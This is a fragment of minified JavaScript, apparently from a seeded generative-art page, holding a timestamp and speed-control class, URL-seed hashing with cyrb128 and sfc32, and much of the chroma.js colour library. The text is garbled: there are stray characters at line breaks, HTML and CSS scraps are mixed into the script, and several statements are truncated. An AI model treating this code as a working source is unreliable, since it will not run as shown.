"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
 t[3]=1,t}if(e=r.match(Z)){for(var a=e.slice(1,5),f=0;f<4;f++)a[f]=+a[f];return a}if(e=r.match(H)){for(var o=e.slice(1,4),c=0;c<3;c++)o[c]=J(2.55*o[c]);return o[3]=1,o}if(e=r.match(z)){for(var u=e.slice(1,5),i=0;i<3;i++)u[i]=J(2.55*u[i]);return u[3]=+u[3],u}if(e=r.match(U)){var l=e.slice(1,4);l[1]*=.01,l[2]*=.01;var d=K(l);return d[3]=1,d}if(e=r.match(V)){var h=e.slice(1,4);h[1]*=.01,h[2]*=.01;var b=K(h);return b[3]=+e[4],b}};Q.test=function(r){return X.test(r)||Z.test(r)||H.test(r)||z.test(r)||U.test(r)||V.test(r)M
};var rr=m,er=v,tr=d,nr=l.type,ar=S,fr=Q;er.prototype.css=function(r){return ar(this._rgb,r)},rr.css=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(er,[null].concat(r,["css"])))},tr.format.css=fr,tr.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===nr(r)&&fr.test(r))return"css"}});var or=v,cr=m,ur=l.unpack;d.format.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e]M
;var t=ur(r,"rgba");return t[0]*=255,t[1]*=255,t[2]*=255,t},cr.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(or,[null].concat(r,["gl"])))},or.prototype.gl=function(){var r=this._rgb;return[r[0]/255,r[1]/255,r[2]/255,r[3]]};var ir=l.unpack,lr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=ir(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Math.min(a,f,o),u=Math.max(a,f,o),i=u-c,l=100*i/255,d=c/(255-i)*100;return 0===i?t=Number.NaN:(a===u&&(t=M
(f-o)/i),f===u&&(t=2+(o-a)/i),o===u&&(t=4+(a-f)/i),(t*=60)<0&&(t+=360)),[t,l,d]},dr=l.unpack,hr=Math.floor,br=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=dr(o,"hcg"))[0],h=o[1],b=o[2];b*=255;var s=255*h;if(0===h)u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var p=hr(d/=60),g=d-p,v=b*(1-h),y=v+s*(1-g),m=v+s*g,k=v+s;switch(p){case 0:u=(r=[k,m,v])[0],i=r[1],l=r[2];break;case 1:u=(e=[y,k,v])[0],i=e[1],l=e[2];break;case 2:u=(t=[v,k,m])[0],i=t[1],l=t[2];break;cM
ase 3:u=(n=[v,y,k])[0],i=n[1],l=n[2];break;case 4:u=(a=[m,v,k])[0],i=a[1],l=a[2];break;case 5:u=(f=[k,v,y])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},sr=l.unpack,pr=l.type,gr=m,vr=v,yr=d,mr=lr;vr.prototype.hcg=function(){return mr(this._rgb)},gr.hcg=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(vr,[null].concat(r,["hcg"])))},yr.format.hcg=br,yr.autodetect.push({p:1,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=sr(r,"M
hcg"),"array"===pr(r)&&3===r.length)return"hcg"}});var kr=l.unpack,wr=l.last,Mr=Math.round,_r=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=kr(r,"rgba"),n=t[0],a=t[1],f=t[2],o=t[3],c=wr(r)||"auto";void 0===o&&(o=1),"auto"===c&&(c=o<1?"rgba":"rgb");var u="000000"+((n=Mr(n))<<16|(a=Mr(a))<<8|(f=Mr(f))).toString(16);u=u.substr(u.length-6);var i="0"+Mr(255*o).toString(16);switch(i=i.substr(i.length-2),c.toLowerCase()){case"rgba":return"#"+u+i;case"argb":return"#"+i+u;default:return"#"+u}},Nr=/M
^#?([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$/,Fr=/^#?([A-Fa-f0-9]{8}|[A-Fa-f0-9]{4})$/,xr=function(r){if(r.match(Nr)){4!==r.length&&7!==r.length||(r=r.substr(1)),3===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]);var e=parseInt(r,16);return[e>>16,e>>8&255,255&e,1]}if(r.match(Fr)){5!==r.length&&9!==r.length||(r=r.substr(1)),4===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]+r[3]+r[3]);var t=parseInt(r,16);return[t>>24&255,t>>16&255,t>>8&255,Math.round((255&t)/255*100)/100]}throw new Error("unknown hex coM
lor: "+r)},Pr=m,Rr=v,Gr=l.type,jr=d,Er=_r;Rr.prototype.hex=function(r){return Er(this._rgb,r)},Pr.hex=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Rr,[null].concat(r,["hex"])))},jr.format.hex=xr,jr.autodetect.push({p:4,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===Gr(r)&&[3,4,5,6,7,8,9].indexOf(r.length)>=0)return"hex"}});var Or=l.unpack,qr=l.TWOPI,Br=Math.min,Ir=Math.sqrt,Ar=Math.acos,Dr=functionM
(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=Or(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Br(a/=255,f/=255,o/=255),u=(a+f+o)/3,i=u>0?1-c/u:0;return 0===i?t=NaN:(t=(a-f+(a-o))/2,t/=Ir((a-f)*(a-f)+(a-o)*(f-o)),t=Ar(t),o>f&&(t=qr-t),t/=qr),[360*t,i,u]},Cr=l.unpack,Yr=l.limit,Sr=l.TWOPI,Lr=l.PITHIRD,$r=Math.cos,Tr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Cr(r,"hsi"))[0],o=r[1],c=r[2];return isNaN(f)&&(f=0),isNaN(o)&&(o=0),f>360&&(f-=360),f<0&&(f+=360),(f/=360)<1/3?n=1-M
((a=(1-o)/3)+(t=(1+o*$r(Sr*f)/$r(Lr-Sr*f))/3)):f<2/3?a=1-((t=(1-o)/3)+(n=(1+o*$r(Sr*(f-=1/3))/$r(Lr-Sr*f))/3)):t=1-((n=(1-o)/3)+(a=(1+o*$r(Sr*(f-=2/3))/$r(Lr-Sr*f))/3)),[255*(t=Yr(c*t*3)),255*(n=Yr(c*n*3)),255*(a=Yr(c*a*3)),r.length>3?r[3]:1]},Kr=l.unpack,Wr=l.type,Xr=m,Zr=v,Hr=d,zr=Dr;Zr.prototype.hsi=function(){return zr(this._rgb)},Xr.hsi=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Zr,[null].concat(r,["hsi"])))},Hr.format.hsi=Tr,Hr.autodetect.push({pM
:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Kr(r,"hsi"),"array"===Wr(r)&&3===r.length)return"hsi"}});var Ur=l.unpack,Vr=l.type,Jr=m,Qr=v,re=d,ee=B;Qr.prototype.hsl=function(){return ee(this._rgb)},Jr.hsl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Qr,[null].concat(r,["hsl"])))},re.format.hsl=T,re.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ur(r,"hsl"),"array"===Vr(r)M
&&3===r.length)return"hsl"}});var te=l.unpack,ne=Math.min,ae=Math.max,fe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=te(r,"rgb"))[0],o=r[1],c=r[2],u=ne(f,o,c),i=ae(f,o,c),l=i-u;return a=i/255,0===i?(t=Number.NaN,n=0):(n=l/i,f===i&&(t=(o-c)/l),o===i&&(t=2+(c-f)/l),c===i&&(t=4+(f-o)/l),(t*=60)<0&&(t+=360)),[t,n,a]},oe=l.unpack,ce=Math.floor,ue=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=oe(o,"hsv"))[0],h=o[1],b=o[2];if(b*=255,0===h)M
u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var s=ce(d/=60),p=d-s,g=b*(1-h),v=b*(1-h*p),y=b*(1-h*(1-p));switch(s){case 0:u=(r=[b,y,g])[0],i=r[1],l=r[2];break;case 1:u=(e=[v,b,g])[0],i=e[1],l=e[2];break;case 2:u=(t=[g,b,y])[0],i=t[1],l=t[2];break;case 3:u=(n=[g,v,b])[0],i=n[1],l=n[2];break;case 4:u=(a=[y,g,b])[0],i=a[1],l=a[2];break;case 5:u=(f=[b,g,v])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},ie=l.unpack,le=l.type,de=m,he=v,be=d,se=fe;he.prototype.hsv=function(){return se(this._rgb)},de.hsv=M
function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(he,[null].concat(r,["hsv"])))},be.format.hsv=ue,be.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=ie(r,"hsv"),"array"===le(r)&&3===r.length)return"hsv"}});var pe={Kn:18,Xn:.95047,Yn:1,Zn:1.08883,t0:.137931034,t1:.206896552,t2:.12841855,t3:.008856452},ge=pe,ve=l.unpack,ye=Math.pow,me=function(r){return(r/=255)<=.04045?r/12.92:ye((r+.055)/1.055,2.4)},ke=function(M
r){return r>ge.t3?ye(r,1/3):r/ge.t2+ge.t0},we=function(r,e,t){return r=me(r),e=me(e),t=me(t),[ke((.4124564*r+.3575761*e+.1804375*t)/ge.Xn),ke((.2126729*r+.7151522*e+.072175*t)/ge.Yn),ke((.0193339*r+.119192*e+.9503041*t)/ge.Zn)]},Me=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=ve(r,"rgb"),n=t[0],a=t[1],f=t[2],o=we(n,a,f),c=o[0],u=o[1],i=116*u-16;return[i<0?0:i,500*(c-u),200*(u-o[2])]},_e=pe,Ne=l.unpack,Fe=Math.pow,xe=function(r){return 255*(r<=.00304?12.92*r:1.055*Fe(r,1/2.4)-.055)},Pe=funM
ction(r){return r>_e.t1?r*r*r:_e.t2*(r-_e.t0)},Re=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Ne(r,"lab"))[0],o=r[1],c=r[2];return n=(f+16)/116,t=isNaN(o)?n:n+o/500,a=isNaN(c)?n:n-c/200,n=_e.Yn*Pe(n),t=_e.Xn*Pe(t),a=_e.Zn*Pe(a),[xe(3.2404542*t-1.5371385*n-.4985314*a),xe(-.969266*t+1.8760108*n+.041556*a),xe(.0556434*t-.2040259*n+1.0572252*a),r.length>3?r[3]:1]},Ge=l.unpack,je=l.type,Ee=m,Oe=v,qe=d,Be=Me;Oe.prototype.lab=function(){return Be(this._rgb)},Ee.lab=function(){for(var rM
=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Oe,[null].concat(r,["lab"])))},qe.format.lab=Re,qe.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ge(r,"lab"),"array"===je(r)&&3===r.length)return"lab"}});var Ie=l.unpack,Ae=l.RAD2DEG,De=Math.sqrt,Ce=Math.atan2,Ye=Math.round,Se=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ie(r,"lab"),n=t[0],a=t[1],f=t[2],o=De(a*a+f*f),c=(Ce(f,a)*Ae+360)%360;return 0===YeM
(1e4*o)&&(c=Number.NaN),[n,o,c]},Le=l.unpack,$e=Me,Te=Se,Ke=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Le(r,"rgb"),n=t[0],a=t[1],f=t[2],o=$e(n,a,f),c=o[0],u=o[1],i=o[2];return Te(c,u,i)},We=l.unpack,Xe=l.DEG2RAD,Ze=Math.sin,He=Math.cos,ze=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=We(r,"lch"),n=t[0],a=t[1],f=t[2];return isNaN(f)&&(f=0),[n,He(f*=Xe)*a,Ze(f)*a]},Ue=l.unpack,Ve=ze,Je=Re,Qe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=M
(r=Ue(r,"lch"))[0],n=r[1],a=r[2],f=Ve(t,n,a),o=f[0],c=f[1],u=f[2],i=Je(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},rt=l.unpack,et=Qe,tt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rt(r,"hcl").reverse();return et.apply(void 0,t)},nt=l.unpack,at=l.type,ft=m,ot=v,ct=d,ut=Ke;ot.prototype.lch=function(){return ut(this._rgb)},ot.prototype.hcl=function(){return ut(this._rgb).reverse()},ft.lch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.biM
nd.apply(ot,[null].concat(r,["lch"])))},ft.hcl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(ot,[null].concat(r,["hcl"])))},ct.format.lch=Qe,ct.format.hcl=tt,["lch","hcl"].forEach(function(r){return ct.autodetect.push({p:2,test:function(){for(var e=[],t=arguments.length;t--;)e[t]=arguments[t];if(e=nt(e,r),"array"===at(e)&&3===e.length)return r}})});var it=d,lt=l.type,dt={aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aqua:"#00ffff",aquamarine:"#7fffd4",azure:M
"#f0ffff",beige:"#f5f5dc",bisque:"#ffe4c4",black:"#000000",blanchedalmond:"#ffebcd",blue:"#0000ff",blueviolet:"#8a2be2",brown:"#a52a2a",burlywood:"#deb887",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",cornflower:"#6495ed",cornflowerblue:"#6495ed",cornsilk:"#fff8dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",darkkhaki:"#bdb76b",darkmagenta:"#8b008b",darkolivegreen:"#556b2f",daM
rkorange:"#ff8c00",darkorchid:"#9932cc",darkred:"#8b0000",darksalmon:"#e9967a",darkseagreen:"#8fbc8f",darkslateblue:"#483d8b",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",darkturquoise:"#00ced1",darkviolet:"#9400d3",deeppink:"#ff1493",deepskyblue:"#00bfff",dimgray:"#696969",dimgrey:"#696969",dodgerblue:"#1e90ff",firebrick:"#b22222",floralwhite:"#fffaf0",forestgreen:"#228b22",fuchsia:"#ff00ff",gainsboro:"#dcdcdc",ghostwhite:"#f8f8ff",gold:"#ffd700",goldenrod:"#daa520",gray:"#808080",green:"#008000",greenyellow:"#M
adff2f",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",indianred:"#cd5c5c",indigo:"#4b0082",ivory:"#fffff0",khaki:"#f0e68c",laserlemon:"#ffff54",lavender:"#e6e6fa",lavenderblush:"#fff0f5",lawngreen:"#7cfc00",lemonchiffon:"#fffacd",lightblue:"#add8e6",lightcoral:"#f08080",lightcyan:"#e0ffff",lightgoldenrod:"#fafad2",lightgoldenrodyellow:"#fafad2",lightgray:"#d3d3d3",lightgreen:"#90ee90",lightgrey:"#d3d3d3",lightpink:"#ffb6c1",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",lightskyblue:"#87cefa",lightslategray:"#M
778899",lightslategrey:"#778899",lightsteelblue:"#b0c4de",lightyellow:"#ffffe0",lime:"#00ff00",limegreen:"#32cd32",linen:"#faf0e6",magenta:"#ff00ff",maroon:"#800000",maroon2:"#7f0000",maroon3:"#b03060",mediumaquamarine:"#66cdaa",mediumblue:"#0000cd",mediumorchid:"#ba55d3",mediumpurple:"#9370db",mediumseagreen:"#3cb371",mediumslateblue:"#7b68ee",mediumspringgreen:"#00fa9a",mediumturquoise:"#48d1cc",mediumvioletred:"#c71585",midnightblue:"#191970",mintcream:"#f5fffa",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",navajowhiteM
:"#ffdead",navy:"#000080",oldlace:"#fdf5e6",olive:"#808000",olivedrab:"#6b8e23",orange:"#ffa500",orangered:"#ff4500",orchid:"#da70d6",palegoldenrod:"#eee8aa",palegreen:"#98fb98",paleturquoise:"#afeeee",palevioletred:"#db7093",papayawhip:"#ffefd5",peachpuff:"#ffdab9",peru:"#cd853f",pink:"#ffc0cb",plum:"#dda0dd",powderblue:"#b0e0e6",purple:"#800080",purple2:"#7f007f",purple3:"#a020f0",rebeccapurple:"#663399",red:"#ff0000",rosybrown:"#bc8f8f",royalblue:"#4169e1",saddlebrown:"#8b4513",salmon:"#fa8072",sandybrown:"#f4a4M
60",seagreen:"#2e8b57",seashell:"#fff5ee",sienna:"#a0522d",silver:"#c0c0c0",skyblue:"#87ceeb",slateblue:"#6a5acd",slategray:"#708090",slategrey:"#708090",snow:"#fffafa",springgreen:"#00ff7f",steelblue:"#4682b4",tan:"#d2b48c",teal:"#008080",thistle:"#d8bfd8",tomato:"#ff6347",turquoise:"#40e0d0",violet:"#ee82ee",wheat:"#f5deb3",white:"#ffffff",whitesmoke:"#f5f5f5",yellow:"#ffff00",yellowgreen:"#9acd32"},ht=xr,bt=_r;v.prototype.name=function(){for(var r=bt(this._rgb,"rgb"),e=0,t=Object.keys(dt);e<t.length;e+=1){var n=M
t[e];if(dt[n]===r)return n.toLowerCase()}return r},it.format.named=function(r){if(r=r.toLowerCase(),dt[r])return ht(dt[r]);throw new Error("unknown color name: "+r)},it.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===lt(r)&&dt[r.toLowerCase()])return"named"}});var st=l.unpack,pt=l.type,gt=function(r){if("number"==pt(r)&&r>=0&&r<=16777215)return[r>>16,r>>8&255,255&r,1];throw new Error("unknown num color: "+r)},vt=m,yt=v,mt=d,kt=l.type,wt=fuM
nction(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=st(r,"rgb");return(t[0]<<16)+(t[1]<<8)+t[2]};yt.prototype.num=function(){return wt(this._rgb)},vt.num=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(yt,[null].concat(r,["num"])))},mt.format.num=gt,mt.autodetect.push({p:5,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(1===r.length&&"number"===kt(r[0])&&r[0]>=0&&r[0]<=16777215)return"num"}});var Mt=m,_t=v,Nt=d,FtM
=l.unpack,xt=l.type,Pt=Math.round;_t.prototype.rgb=function(r){return void 0===r&&(r=!0),!1===r?this._rgb.slice(0,3):this._rgb.slice(0,3).map(Pt)},_t.prototype.rgba=function(r){return void 0===r&&(r=!0),this._rgb.slice(0,4).map(function(e,t){return t<3?!1===r?e:Pt(e):e})},Mt.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(_t,[null].concat(r,["rgb"])))},Nt.format.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ft(r,"rgba");retM
